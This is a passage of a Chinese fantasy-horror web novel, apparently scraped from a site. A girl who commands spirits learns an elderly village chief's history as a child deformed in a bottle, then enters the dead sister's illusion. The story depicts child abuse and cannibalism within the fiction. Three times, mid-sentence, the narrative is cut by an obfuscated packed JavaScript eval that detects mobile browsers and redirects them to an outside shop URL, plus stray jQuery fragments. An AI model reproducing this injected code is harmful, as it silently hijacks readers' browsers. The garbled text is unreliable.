《在邪祟界抽到赶尸天赋后》 7. 村长 吊树影吊在房梁上,湿润的红色液体向下滴着,笑眯眯地看着黎应晨。 黎应晨一拳砸在吊死鬼脸上:“你把地板弄脏了知道吗!” 吊树影:…… 吊树影:? 吊树影把脸缩回去了,看上去有点难过。 黎应晨挥手:“收拾干净!别指望我给你擦地!” 针女站在黎应晨旁边,幽幽地亮出了针。 吊树影向来是精神污染极强的传统吊死鬼,什么时候受过这个委屈,一怒之下怒了一下。老老实实地放长绳子,把自己吊低一点,擦起地板。 屋子中就出现了,一个吊死鬼被放在地上,哼哧哼哧的干活的奇景。 黎应晨翘着二郎腿坐在床上,决定从这个情况问起:“贵姓?” 擦地板的吊树影幽怨地笑:“……姜孝。” “你也姓姜?”黎应晨有些意外。 黎应晨坐起来,招手让吊树影过来。伸手摸了摸他的脸。 “……”吊树影没有反抗,嘴角咧得很大。黑洞洞的眼眶盯着黎应晨,没有情绪。 黎应晨仔细观察良久,终于,在姜孝的嘴角边上看到了极其隐秘的,细密的针脚。 就和针女缝柳阿公一样,细密紧凑的针脚。 “你不是自己在笑的,是有人把你的脸皮缝成了在笑的形状……”黎应晨喃喃,“是谁?” 吊树影不语。黎应晨说:“黑凤山第三织造厂。” 吊死鬼浑身一颤。他的脸部肌肉被针脚固定的死死的,眼球也被挖出来了,只会笑,没有任何神色表情可言。但黎应晨生生的从那颤抖中看出了恐惧。 “果然。”黎应晨轻叹一声。“你们两个对自己生前的事,还记得多少?” “我只记得我的名字~够吗?不够吗?”吊树影咯咯地笑,“啊~还有水,好多的水!~红色的,煮一煮!煮一煮~” 黎应晨正在皱眉,针女沙哑的声音响起:“我叫姜堰。我们来自姜家村。” “姜家村在黑凤山背阴面,离这里五六日路程。山周生长一种黑蚕,蚕丝织就布料可通神鬼,是做布类法宝与寿衣的上好材料。村里人世代以养黑蚕为生。族中主支凑钱开了黑凤山第三织造厂。族里人都来这里做工。包括我。” 黎应晨第一反应是愣住:“你可以一次说这么多字?” 针女也一愣:“嗯?……嗯,当然可以。” 黎应晨:“那……那你之前怎么不说话?” 针女低下头,开始扭捏。 半晌,她说:“我…我比较内向,不擅说话。” 黎应晨:“……” 好有道理!生前是一个I人,死后是一个I鬼! 我还以为邪祟不能说话呢!原来是因为你是一个I鬼啊!!黎应晨在心里咆哮。 她擦擦汗,言归正传:“这些可通神鬼的布匹,一般都是销给谁的?” 针女:“昆仑宫。” 黎应晨眉心微微一跳。 也是昆仑宫,好熟悉的名字。这个村子也靠着与他们贸易为生,提供食粮,而姜家村则以贩卖桑蚕布匹为主。在买主消失的现在,粮食村还能靠固有耕地撑几年,姜家村恐怕…… 黎应晨摇摇头。 “你对织造厂了解多少?” “只识得每日上下工,织布纺丝。”针女的声音透着浓浓的怨恨,“直至某一日,织布组的一个邻村女工再也没来上班。主管突然告我她家中有事,回老家奔丧去了,要我多值些班次,自有多补的月钱给我。我答应了,连着两日没下工。那晚太过疲累,不留神睡在了织机上……” “好多针……好多针……” 针女的声音越说越尖利,动作隐隐加快,到最后声音近乎尖啸。 “好痛……好痛啊!他们在躲我!他们为什么躲我!好多针!好痛啊!为什么躲我!为……” 黎应晨一把握住针女的手,将她抱进怀里。 针尖刺破黎应晨的皮肤。温热的体温裹住了邪祟。针女的尖啸声戛然而止。 好软。 带着血肉脉动的温暖,少女的身体那么柔软,有轻微的药香和烟火气,力道温和小心,轻轻地蹭蹭她的肩膀。 针女的脑子混混沌沌,并不太能转的动。 “才不躲你。我在这呢。”黎应晨笑。当她放轻声讲话的时候,嗓音柔和,吐字雀跃又温和,像是什么毫无戒心的小动物,“跟着我走,他们也不会躲你。你看,柳家兄弟也很感谢你啊。” “你的手艺真的很棒。你之前能靠手艺活着,之后一定也能。” 针女直愣愣地看着天花板。 黎应晨的手已经开始流血,她却浑然不觉,亲昵地蹭蹭针女,笑着问:“姜姐姐是从什么时候起开始有意识的?” “……” 针女低下头,轻声说。 “从……你说那句话开始。”‘ 跟我走吧。 邪祟初成时,没有自己的思考能力。只能感受到灭顶的崩溃与恨意。她痛极了,尖啸,哀嚎着游荡在森林里,混混沌沌地痛哭着,直到那个黄裙少女出现。 作为野生邪祟游荡的时候,做过什么事,针女完全没有印象了。实际上,她对生前事物的印象也很模糊,独独除了一点: 她清晰地记得自己是怎么死的,并且一直充满怨毒与不甘。 这种怨毒与不甘浸透了她做邪祟的每一分每一秒,从未解脱。 直到遇见她。 针女低头不语,从怀里取出一件东西,双手递给黎应晨。 黎应晨接过一看,正是她交给针女缝的那件黄裙。已经完全修补好了,裂开的地方绣上了一支白梅,嶙峋的枝干撑起柔软细巧的花瓣,漂亮的要命。 …… 针女从混沌邪祟,到恢复思考能力,中间有相当漫长的过程。吊树影现在应当就在这个过程当中,偶尔还是凭怨毒和本能行动。好在赶尸能力好使,他仍然会无条件听从黎应晨的话。 至于为什么和针女的速度差了这么多,黎应晨猜测可能和收服方式有关。是不必急,但想要从吊树影嘴里问出信息,可能还要再等一阵了。 黎应晨带着针女尝试了一下【手动战斗】模式。按下那个按钮,黎应晨一眨眼,就已经站在了针女的视角里。 近千根针一一刻在黎应晨的脑子里。能引血,能点穴,对普通人可以一击毙命。她身体轻薄,平日里行动像纸一般缓慢,提速时又能极速激冲,相当好玩。 只是,黎应晨意识到一个严重的问题:自己根本不会打架。 身为生在红旗下的普通大学生,黎应晨深谙“打赢坐牢,打输住院”的道理,根本没有任何生死相搏的经历。试探性地挥出两针,觉得欺负欺负普通人得了,真碰上真的邪祟,死都不知道怎么死的。 她汗颜地退出了手动模式——果然自己还是适合做个躺平的咸鱼,有什么事招呼一声针女就好了,亲自上去干嘛啊! 刚刚折腾完这一圈,门外便传来了轻敲声。 黎应晨开门一看,林济海站在门前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157311|138574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,作揖道:“不知黎小姐有没有时间?村长婆婆托小生发来拜帖,想与您一叙。” …… 白莹一副欲言又止的样子,目送他们出门。 林济海小声地对黎应晨道:“村长婆婆早些年有些经历,外貌与常人不同,还望黎小姐不要见怪。” “什么?”黎应晨好奇。 林济海踌躇两下,还是不知如何描述,只是作揖道:“您见了便知道了。” 村长婆婆家在整个村子正中央。那是一处小院。与普通人家并无什么不同,夯土为墙,木草作顶,一片阳光开阔。户前有火,煮着一炉药,又养了几只鸡,在院子里悠闲地晃荡。 林济海带黎应晨推开门,恭敬地道:“婆婆,黎小姐来了。” “哎。” 屋内传出一个柔和沙哑的老年女声。 黎应晨踏进门内,瞳孔轻轻震了一下。 在那洒满阳光的桌榻前,放着一个……花瓶。 准确地来说,是一个花瓶形状的老妇人。 老妇人满头银发,脸上沟壑纵横,显然年事已高了。她的头颅是正常的,整个下半身却都畸形地蜷缩起来,小的很,躯干与四肢都扭曲的堆叠在一起,只是支棱出几根手脚。整体的形状……就像是一个花瓶。 极度畸形扭曲的肢体触目惊心,但老妇人的眉眼却慈和,带着淡淡的笑意。阳光洒在她身上,好像每一个午后坐在屋前晒太阳的老太太一般,慈祥福寿,喜面可亲。 她笑着招呼:“坐吧,黎小姐。辛苦啦,后生仔。” 后生仔林济海规规矩矩地行了礼,到一旁站下。显得极为尊重这位老妇人。 黎应晨入座。老妇人用短小的肢体为她斟了一杯茶:“没想到啊,都这个年月了,黑凤村还能有幸迎来一位仙人。是您救了凝春那丫头吧?” 黎应晨笑:“是凝春救了我。” 老妇人也慢条斯理地笑起来:“哎,哪里的话。” “凝春是村子里最有天分的孩子,一直与我学医辨药。老身没有子嗣,她就似老身的孙女一般。黎小姐能把凝春带回来,老身打心底里感激。这物什于老身无用,还请您收下,不要推辞。” 老妇人推出一个小盒子。 黎应晨打开,盒子里放着一只镯子。镯子通体银白,做工精巧,挂了三五只镂空雕花银铃。铃声摇响,声音玲珑脆亮,好听的紧。上面光华流转,一看就不是凡物。 “这是当年昆仑宫外家弟子来贸易时,留在村子里的定金。这些年来,无数人重金求购这只镯子,老身全都将他们打出去咯。” 村长婆婆的声音轻柔沙哑,不疾不徐。 “它曾是个琳琅仙器,在我们这些凡夫手里终归浪费,现如今归了您,也不算辱没啦。” 黎应晨没太听见村长婆婆说什么。从打开盒子的一瞬间,她的眼睛就直了。 她的视角里,在那镯子上空,清晰地标着几行字—— 【C级法宝 - 铃菱镯】 装备位置:[左手手腕]、[右手手腕] 装备效果:每日可主动摇铃一次。铃声摇响,全队攻击力上升25%,持续十分钟。效果只影响能够听见铃声的队友。使用次数每日日出刷新。 说明:龙旂阳阳,和铃央央。 半晌,黎应晨点点头。她没有推辞,直接将这铃镯戴在了手上。 “明白。”黎应晨靠在桌上,微笑道,“我晓得婆婆您叫我来是干嘛的。” “说吧。村子现在需要我做什么?” 8. 瓶女-死路 “黎小姐深明大义,老身就不跟您拐弯抹角咯。” 村长婆婆摆正身体,对着黎应晨深深一礼: “希望您能超度村西田里的邪祟,救救我们。” “秋收将至,若这个时候田地荒废,将会颗粒无收,我们必然熬不过这个冬天。” 黑凤村地处阳面山腰平坦处,北侧背靠山崖险璧,东面是万丈深渊。东南处攀登而上可见村庄入口,再往西则是大片缓坡耕田。柳阿公就在这耕田之中失踪。 “我亦有意如此。”黎应晨拄着下巴道,“只是不知情况,两眼一抹黑。万一那邪祟厉害,岂不是白送人头?” 村长婆婆深深叹一口气:“那田地里的邪祟,老身认识。” 黎应晨一愣。 “如无意外,这邪祟应当是……老身的姐姐。” “老身祖籍安州,有个一母同胞的双胞胎姐姐。我俩三岁时,父母过世,被亲戚送给村里大户做童养媳,换了十斤小米。同年秋天,小丈夫失足落水溺死了,大户又将我们发卖到戏班子。” 老太太的声音平静而温和,只含着岁月沧桑,没有任何感情波动,反而让黎应晨一阵一阵起鸡皮疙瘩。 “在那里,我们被做成了瓶娃娃。” 瓶娃娃是一种极其恶毒的戏法。在小孩年纪不大、骨头肉尚软时,把小孩折叠起来,塞进特制的瓷瓶里,只露一个脑袋在外面。屎尿皆由瓷瓶底部的小口引出。随着小孩长大,肢体就在瓷瓶中生长,扭曲蜷缩在一起,变成瓷瓶的形状。随戏班子走八方,在帷幕里展览卖笑。 年幼的孩子尚不懂事,还会笑呵呵地盘在瓶子里,觉得自己不用挨打骂就有饭吃,开心得紧。 等到四五岁开始发育,就懂得盘骨的痛了。须得每半年将小孩取出一次,顺骨纳肉,把乱跑的肢体压紧,更换较大一点的瓶子。从而维持瓶娃娃生长不死,又身体玲珑。 这过程求生不得,求死不能,痛得人几度昏死过去,又惨叫着醒来,只能眼睁睁地看着自己的身体一点一点萎缩,在瓶中度过一生。 个中绝望与痛苦,难以细说。 大部分的瓶娃娃都会在十岁之前死去。只有少部分师傅手艺极其精湛,娃娃又天赋异禀,瓶娃娃才能顺利长大。 成年的瓶娃娃极其珍贵,被称为“瓶仙”和“瓶女”。身价极高,民间声望近似于土仙。可以求医问药、卜吉凶祸福,受人香火祭拜。 “哪里是什么仙。”阳光下,畸形的老阿婆平静地笑,带着一些嘲意,“不过是被逼着学了些手艺的可怜虫罢了。” 瓶娃娃姐妹有着截然不同的性格。 姐姐通卜算,从晓得事起就性子刚烈,对所有人恶言怒骂;妹妹懂医理,性情温和,平日内向寡言,只闷头学药,平声应答。 只有一点是共通的:她们都对这不公的世道充满了恨。 但是恨有什么用呢?她们被装在瓶子里。平日在班子里嬉笑怒骂,地位不算低;但只要敢炸出影响银子的刺儿,只需要断她们两天口粮,就足够让她们哭着恳求了。 她们此后的人生,就都被圈在了这三尺见方的帷幕里。 在这样的精神高压下,瓶女姐妹都崩溃了。姐姐爱上了扎娃娃,叫人缝了精美漂亮的男娃娃来,用锥子一凿一凿的凿成蜂窝。妹妹则日渐沉默,夜夜崩溃,又有莫名地讨好人格,对每个人都极好,被任何人厌恶都会变得极度惶恐。 直到六十年前一场大旱饥荒,饿殍遍野,戏班子也没口粮吃,逐渐开始人人相食。起初含泪杀吃了一些买来的孩子,直至实在无法,饿绿了的眼睛就投向了他们曾经的摇钱树。 瓶女姐妹。 “我们都是花大价钱培养的,若是就当肉葫芦吃了,岂不是浪费?” 危急时刻,瓶女姐姐站出来,自请献命,执行一场书中记载的夜卜秘法,问出戏班生路在何处。 夜卜秘法献祭心血问苍天,需要有极高的卜算造诣,哪怕是宫里供奉的天师也极难成功。一旦失败,不出三日必然横死。哪怕成功了,也要付出极大的代价。 姐姐成功了。 卦自龟甲中出,生路指向东北方偏远之地,是为黑凤山。 班主喜出望外,戏班子拔腿启程。 临行前夜,姐姐元气大伤,声音沙哑,在哭泣的妹妹耳边说: “姐豁出这条命去,一定要带你跨过这个坎。” “他们都说我们活不久,我才不信。我就不服。我姐妹要平平安安地活到九十岁。” 黎应晨打了个寒颤。 “黎小姐,你怎么看?”婆婆轻声说。 黎应晨沉默良久,说:“是我心性不如姐姐。” 婆婆大笑不答,继续讲述。 在尸横遍野的龟裂大地上,戏班靠着吃人肉,一步一个血脚印,跋涉几个月,撑到了东北黑凤山。 他们踏进荒芜的山林,只觉得白光一闪,眼前的景色顿时一变。灵光轮转,百鸟啼鸣,溪水淙淙而过,茂盛的林木遮天蔽日。 他们来到了昆仑宫的庇佑之地。 黑凤村的山民们接待了戏班子。只见村中耕读樵猎,俨然一副世外桃源之景。班主大喜,千恩万谢,在村西田边驻扎下来,就此有了落脚之处。 山民们淳朴,未见过远行之人,对戏班子充满新奇。半年之后,就连昆仑宫都对瓶女发出了拜帖。一切都向好的方向发展起来。 黑凤村里有一个年轻的小猎户,戏班初来时正在犯热疹,几乎去了一条命,家里连棺材都准备好了。瓶女妹妹见不得人受苦,便发药救了他。 小猎户痊愈以后,日日都来找瓶女谈天。与瓶女见面可是很昂贵的,但小猎户勤于打猎,一回村就来班子,所有的积蓄都用在了这上面,风雨无阻。 但他却不向瓶女问卦,也不求医问药,只是总说些没用的东西。他聊星河,聊山榛子,聊冒头的蘑菇,聊从灌木丛中跳出来的野狍子。小猎户给瓶女们带来最柔软的鹿心,也带来暖乎乎的狍子皮。 “你知道吗?冬天的狍子会自己在积雪中刨一个坑,把自己藏起来。”小猎户兴致勃勃地说,“等到人找过去,就把脑袋埋在雪里,露出肥嘟嘟的臀腿来,特别好玩。” “真好啊。”妹妹的脑袋同小猎户靠在一起,“我也想看看。” “你没见过吗?”小猎户傻笑着说,“我从来没见过你这么有学问的姑娘。姜班主说你们什么都懂得。” “我知道狍茸可以入药。主治虚劳赢弱,筋骨疼痛。”妹妹小声说,“但我从来没见过。” 一旁的姐姐微微睁开一点眼睛,笑着睨一睨靠在一起的二人。 “那你带她去看看如何?” 妹妹心动不已,却道:“可两天后就是昆仑宫仙人来会面的日子了,若是被班主发现,我们都要挨饿的。” “没关系,且去个一天半的不碍事。”姐姐笑,“我一会儿算一卦,就道你需要闭关两日清理头脑。早些回来,没问题的” 那一晚,小猎户用棉被裹好小只的瓶女,在风雪中进了山。 瓶女妹妹自南边来,一直坐在车中随行,第一次出来走动,看看这天地。她依偎在小猎户怀里,看见毛茸茸的狍子在山林间一蹦一蹦,与猎户一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157312|138574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同分食冻溪冰面下的鱼,在树影的缝隙里数着星星。当第一片清凉柔软的雪花落到妹妹的脸上,妹妹那么幸福地想:原来躺在雪地里是这般感觉,要是姐姐也在这就好了。 “谢谢你,你人真好。”瓶女温柔地说,“要是你以后也能来就好啦。我们可以带姐姐一起来。” “当然可以。”小猎户嘿嘿地红着脸,挠挠圆头,“我明年还来找你。开春了,鱼就肥了,烤起来滋滋流油,我就烤给你吃。也带上姐姐。” 但是,小猎户与瓶女都太年轻了。 年轻的小孩子,一时高兴坏了,就容易犯愚蠢的错误。 他们追一只雪兔,走得远了,直到傍晚才想起来,啊,今晚就应该是昆仑宫来访的日子了。理论上来说,早应该回去了。 小猎户和瓶女吓坏了,自知闯下了滔天大祸。如若被戏班班主发现,姐姐一定惨了。可是,等他们紧赶慢赶的赶回戏班子,却没有等来班主的鞭笞,而是看到了一场…… 滔天的风雪。 朔风猎猎,卷着戏班上下三十四口的尸体,错落整齐地吊在村口的大槐树上,宛如树上结果,啷当晃动。 硕果累累,将枯干的枝条压弯。 瓶女姐姐青白的尸体挂在树上,已然冻得硬了。 村人被妹妹的哭喊声惊出村外,皆傻眼了,面面相觑,不知所措。妹妹在挣扎中跌落在地,束缚她二十年的瓶身应声而碎,在寒风中片片飞散,露出其下扭曲挤压的肢体。 飞溅的瓷片划伤了妹妹稚嫩的身体,淋漓的鲜血流淌过她走过的路。她自三岁以来的第一次,凭借自己的手脚挪动着,爬向最爱的姐姐。 姐姐的脸上,仍带着微笑。 谁也不知道,这三十四口人,怎么就在一夜之间横死雪地。 唯一能知道的是,戏班的帷幕在这一夜的寒风中倒塌撕裂,再也拼不起来。 从此之后,世界天高海阔,任凭鱼跃鸟飞。 妹妹如约活到了九十岁。村长婆婆眉眼慈和,满头白发。她是最有才华的医女,也是村里的主心骨,后生们尊敬地称她为“婆婆”。 “自那以后,那小猎户就把我带回了家中。我指挥他抓药采药,救了不少村人。村里人淳朴良善,也逐渐敬我爱我。三年以后,我们结为夫妻,直至今日。” 婆婆温声细语,低头饮茶。 “没有人知道他们因何而死,昆仑宫也再没提过这件事。我也一直不懂。” “直到十年后,我向昆仑宫换来了求天问卜的术数,又研读许多年,才看懂姐姐当年的卦象。她那一卦,并非是戏班生路,而是另一个问题——” “【何处死门洞开,九死一生?何处可让戏班挫骨扬灰、形魂俱灭、死无葬身之地?】” 黎应晨打了个寒战。 氤氲的水汽自村长婆婆手中的茶杯飘出,薰腾了满屋茶香。 恍惚间,黎应晨好像又听见了那句掷地有声的低语: “他们都说我们活不久,我才不信。我就不服。我姐妹要平平安安地活到九十岁。” ……她做到了。 她的方法是,置之死地而后生。用自己的性命换了戏班的命,再将妹妹送往那唯一的一条生路。 黎应晨肃然起敬:“是位豪杰。只是,那里死过那么多人,您怎么就觉得…那是您姐姐的邪鬼呢?” “村西田地,老槐树,吊起的人,倒很像是同一个邪祟作祟杀人。只是,老身去看过一次柳家公的尸身。” 村长婆婆轻叹。 “那尸身和姐姐小时候所凿的棉花娃娃……一模一样。” 9. 瓶女-古槐 黎应晨走出村长婆婆的家,表情凝重。脑袋里还回响着村长婆婆沙哑温和的声音: “六十年啦,该让姐姐解脱了。” 黎应晨已经做好了准备,用问题来收复瓶女姐姐。照理来说,已经知道了这么多内情,胜率应该不小。但不知为何,她总有种不安感。 但黎应晨也有觉悟,天下哪有十成把握的仗呢。 歇息一晚,明天准备干活儿了。 第二天清晨,黎应晨在村民们的目送下站在了村西的麦田里。 秋收将至,大片金黄的麦田铺撒开去,风吹麦浪滚动,漂亮得紧。 老槐树据说已经有九百余岁了,七八人合抱不拢。叶已经在落,飘得洋洋洒洒,留下嶙峋的枝干。平时每到中午,在地里劳作一天的农人们都会来树下乘凉,吃一口饭,歇息歇息,靠在树干上看着孩童嬉闹。就像他们几百年来祖祖辈辈做的那样。 黎应晨将吊树影叫来,指着槐树说:“栓这儿。” 吊死鬼将上吊绳的一端缠在黎应晨的身上,中途延伸两圈,牢牢地捆住了大槐树,尾部还连在吊树影自己身上,站在村口不动。 这是附有吊死鬼怨气的上吊绳,一旦吊住人或者物,会立即收紧,无论怎么挣扎都无法挣脱绳套。哪怕一时间击退了吊树影,也不可能将套在身上的绳套拿下来,绳子会随受害者的正常移动而延长,哪怕再怎么逃跑都无法摆脱,直至吊死鬼沿着这根阎王索命绳归来,将可怜虫送入绝望的死亡。 黎应晨第一次听到的时候眼睛都直了:刀枪不入,水火不侵,还能无限延长,世上怎么还有这种牛币的材料! 用来上吊也太浪费了!你小子! 现在就到用的时候了。 不知道柳阿公当时被邪祟带去了哪里,但是她必须要能找到回家的方向。 黎应晨在地里站了一会儿,只觉得初秋风高气爽,岁月静好。 邪祟不会因为站在这里就攻击人。黎应晨垂眸沉思。多半是柳阿公当时无意中做了什么事情,才触犯了邪祟的忌讳。 柳阿公当时正在收割麦穗。 收割麦穗是什么样的?黎应晨抽出匕首,试探性地弯下腰,比划着割起了麦秆。麦秆应声而断,洒落在脚边的土地里。没有任何异常发生。 黎应晨弯着腰,模拟着柳阿公的动作,站在他当时的位置,一步一步地向后退…… 突然,她身形一顿。 在这个角度,如此半弯着腰,正好能看到老槐树中空的大树干。槐树常有空腔,粗大树干凹陷下去。从这刚好可以看到洞内,密密麻麻的似乎有什么东西。黎应晨眯起眼睛,仔细辨认一下…… 那是密密麻麻的人头。 哀嚎着的,呐喊着的,表情狰狞的人头,填满了槐树的树干。 “哇哦。”黎应晨喃喃,“这么刺激。” 下一秒,黎应晨感觉一阵天旋地转,控制不住地眩晕起来。再睁眼时,天地已经巨变。天穹泼墨般地黑下来,麦浪一茬一茬地倒下去,枯死在了地里。只留下盘根错节的裂痕在干旱的耕地上生长,像大地蜿蜒的伤疤。远处的村庄在槐树后沉默,寂静无声。 头顶星空璀璨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157313|138574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎应晨面前的不远处,就是那颗装满人头的老槐树。 她低下头看看,发现自己身上的绳子正向着另一个方向延伸。 黎应晨思考片刻,突然面露喜色。 绳子还在延伸,说明这仍然是同一个空间,自己并没有被突然传送走,甚至于还在原地。黎应晨猜测这里近似于幻境,在无意之间模糊了人对方向的感知。在周围场景巨变的时候,被拉进来的人是正在盯着老槐树的,多半会下意识的以老槐树为参照物,走回那个“村子”里去。 这样就不知不觉的…… 走出了村庄本身的安全范围。 而这么大费周章的把人骗走,就说明,耕地本身其实是安全的。只要不上当,被卷入者短时间内应该没有危险。 虽然至今不知道村庄安全区的成因,但是好消息是,这个安全范围应该并没有缩小。只有邪祟的“衍生物”能进入这个范围,邪祟本身仍然不行。 “这样啊。”黎应晨松了口气,“什么嘛,情况还挺好的。” 还以为要带着村里人在充满邪祟的大自然里绝地求生呢!看来暂时不用想那一步了。 只是,能想出这种把戏来…… 这个邪祟与针女和吊树影都不同。她应当是有智力的。 再加上这干旱的大地,和隆冬槐树干枯的枝干…这都是瓶女姐姐的心理阴影啊。 黎应晨微微抬眸,看向假槐树的方向。 村庄静谧漆黑,在夜空下屹立,仿若深渊一般。 她笑一声,抬腿迈进。 来吧,让我看看你的本事。 10. 瓶女-戏台 刚一踏入村庄,黎应晨就感觉到了不对。 这村里空无一人,一条小道直通向村庄深处,再没有别的岔路。周围的民宅一座挤着一座,房门大敞,黑洞洞的,宛如深渊巨口。 “这是请君入瓮啊。”黎应晨呢喃。 她扬手,叫了针女出来。人皮小姐比她高一头,镇定地飘在她的身后。针女的阴歌如期而至,如泣如诉,屡屡哀声,却听的黎应晨心神一定。 黎应晨也不躲,就走在大路中央,带着针女向前行去。 一路看着沉沉死寂,听起来却热闹异常,总有声音从宅邸中飘出来,各有悲欢离合,家家户户不同。 一片热热闹闹的欢笑高谈中,中年男声笑道:“抓得好!就道大儿是最有出息的那个,爸妈都盼着你呢!” 噼啪的殴打声和尖叫声中,有人哭着怒骂:“天生下贱坯子的孬货!若不是你,他又何苦,呜呜……” 一片沉寂中,老人叹息:“家里实在添不起两张口了,这也是娃儿的命数……” 欢喜的人声鼎沸里,有人扯着嗓子中气十足的喊:“一拜天地——” ……种种不一而足。 不管多么热闹喧腾的声音,往房屋里看去,都是一片沉寂的黑暗。对比鲜明诡异,令人无端的寒战。 黎应晨回头和针女姜堰对视一眼:“婚丧嫁娶,人间百态。” 针女微微点头。 黎应晨没打算走进任何一个房间。 想也知道,瓶女姐姐自幼吃尽苦头,对这人间百态大抵没有什么好态度。这一片漆黑里,恐怕不是什么好去处。 她沿着路中大道,一路向前,走了不知多久,眼前豁然开朗。 这是山村中央的广场。八条大道自村中八方延伸而来,聚拢于此。开阔的空地上有一旧木戏台,戏台上摆着几副桌椅柜子。戏台旁边,一张大旗迎风招展,上书一个【姜】字,后面放着几处草草搭起的布棚屋。 姜家戏班。 空荡荡的广场上,只有唯一一个座位摆在正中央。 咣! 不知何处,一声锣鼓鸣响。 戏要开了。 “这是打算请我入座吗?”黎应晨笑了。 她低头沉思一下,却没有在那座位上坐下,而是三步并作两步,助跑几下,一跃跳上了戏台。 黎应晨在嘎吱作响的旧木上盘腿而坐,拄着下巴微笑道:“别那么见外啊,我坐这就成。” 瓶女姐姐半生悲苦,愤怨难当。看客游人站在台下付钱,将她姐妹两个活生生的人,当做奇玩异兽来赏乐。说她不恨,黎应晨是不信的。 黎应晨不打算把自己当成一个“看客”。 她像当年的瓶女们一样,坐在戏台中央,俯瞰着空空荡荡的观众席。 咚锵咚锵咚锵…… 开幕锣鼓逐渐急促,没有对她的行动做出任何反应。 “嫂嫂啊——” 一声带着笑意的悲鸣响起。 帷幕拉开,一群人随着锣鼓的脚步登上戏台,将黎应晨团团围住。赫然是一群面色惨白、腮红如血的纸人。黑洞洞的眼睛一个个直勾勾地俯视着她。 黎应晨面无惧色,却也不再微笑。她撑着下巴和纸人们对视。 锣鼓未停。惨白僵硬的肢体推推搡搡,将一个纸人推倒在了黎应晨面前。纸人伏地,开腔,抑扬顿挫地唱: “我的哥哥啊,你怎么走得这么早啊——” 父母先死,亲戚哭丧。黎应晨一下意识到,这演的是瓶女姐妹的一生。 只听那纸人唱道:“——这就去了,连血脉都未留下一个,可让我们——怎生是好啊!” ……未留血脉?黎应晨一愣。 咚呛咚锵咚锵…… 纸人伏地痛哭着,鼓点却未停。其余纸人一个一个地将台上的桌椅、衣柜、粮缸,全都一一搬了下去。 吃绝户。 这个词跳进了黎应晨的脑袋里。古时候的农家女子没能力保护自己的财产,如若家中男丁皆死,很可能会被亲戚吃绝户,带走所有的遗产,将寡女弃于街头。 女子在这些人的眼里,是不算血脉的。 黎应晨不假思索,一把抓住身边的一个纸人,手里微微施力,咔嚓一声,纸人的手腕应声而碎。 “让你动了吗?”黎应晨冷道。 下一秒,她突然一阵眩晕。白光闪过,天旋地转。 再睁开眼时,那纸人重新扑通一下摔在她面前—— “我的哥哥啊——” 仿佛时间回溯,刚刚上演过的戏码,又一次上演了。 黎应晨:“……” 不能改变剧情的走向吗……她抿了抿唇,只能憋屈地坐在原地,看着纸人们一边哭丧,一边把戏台上搬得空空荡荡。 宛如当年只有两岁的小姑娘,被亲戚领着,懵懵懂懂的站在家里,不明白好端端的自己的家,为什么就成了别人的了。 也是。黎应晨抓着脑袋想,都是八十年前已经发生的事情,自己改变这一个戏台上的纸人又有什么用? 必须得把当年发生的事情演完了才行。 纸人们把东西搬空,又将黎应晨围了起来。巨大的笑容挂在他们惨白的脸上,连哭丧时那假模假样的悲伤都不见了。他们伸手来抓黎应晨,手指像是铁爪一样,一下嵌进了黎应晨的肩膀里。 黎应晨毫无反抗之力,被推来搡去,拎着站起来。又有一个纸人掐住黎应晨的下巴,像是看牲口一般打量着她的牙口,绕着她转了两圈,逼她抬手,用一根软尺量她的每个尺寸。 黎应晨什么时候受过这样的委屈,一股火从心里头往外烧。她有心想叫针女来,又生生忍住了。 她有针女,当年的姐妹可没有。 “十斤小米!”买家宣布。 你开玩笑吧。一股荒谬感从黎应晨的心底升起来。十斤小米?老娘分分钟就能挣回来,你就拿这个买断我整个人吗? “好价!识货!”亲戚吊着嗓音,比出大拇指,喜上眉梢。 黎应晨:“……” 起了杀心,但是忍。 她继续被推搡着。戏台上的纸人们齐唱,咿呀行腔之间,背景轮转,转而又到了一个富丽一点的房子。 黎应晨的脑袋被按下来,咚的一声撞在地上。黎应晨皱着眉,满心窝火的看着眼前的地板。 她隐隐地意识到自己的心情有点不太正常。虽然现下情况被动,但总的来说并没有超出她的预料。戏的内容和村长婆婆讲述的故事相差不大,针女也在待命,一切都在她的掌控之中。没道理这么着急。 众人欢呼雀跃着,引了一个小东西上台。它跑得颠颠,好像整个戏台都在颤动。 莫名的恐惧一下侵袭了黎应晨。她被压着,什么也看不见,下意识拼命挣扎起来。 “这就是你日后的丈夫了,妮儿!” 纸人叫道。 黎应晨抬起头,一只白花花的公猪仔贴在她的面前,哼哧哼哧地喘气。 “——” 她瞳孔骤缩。 呕! 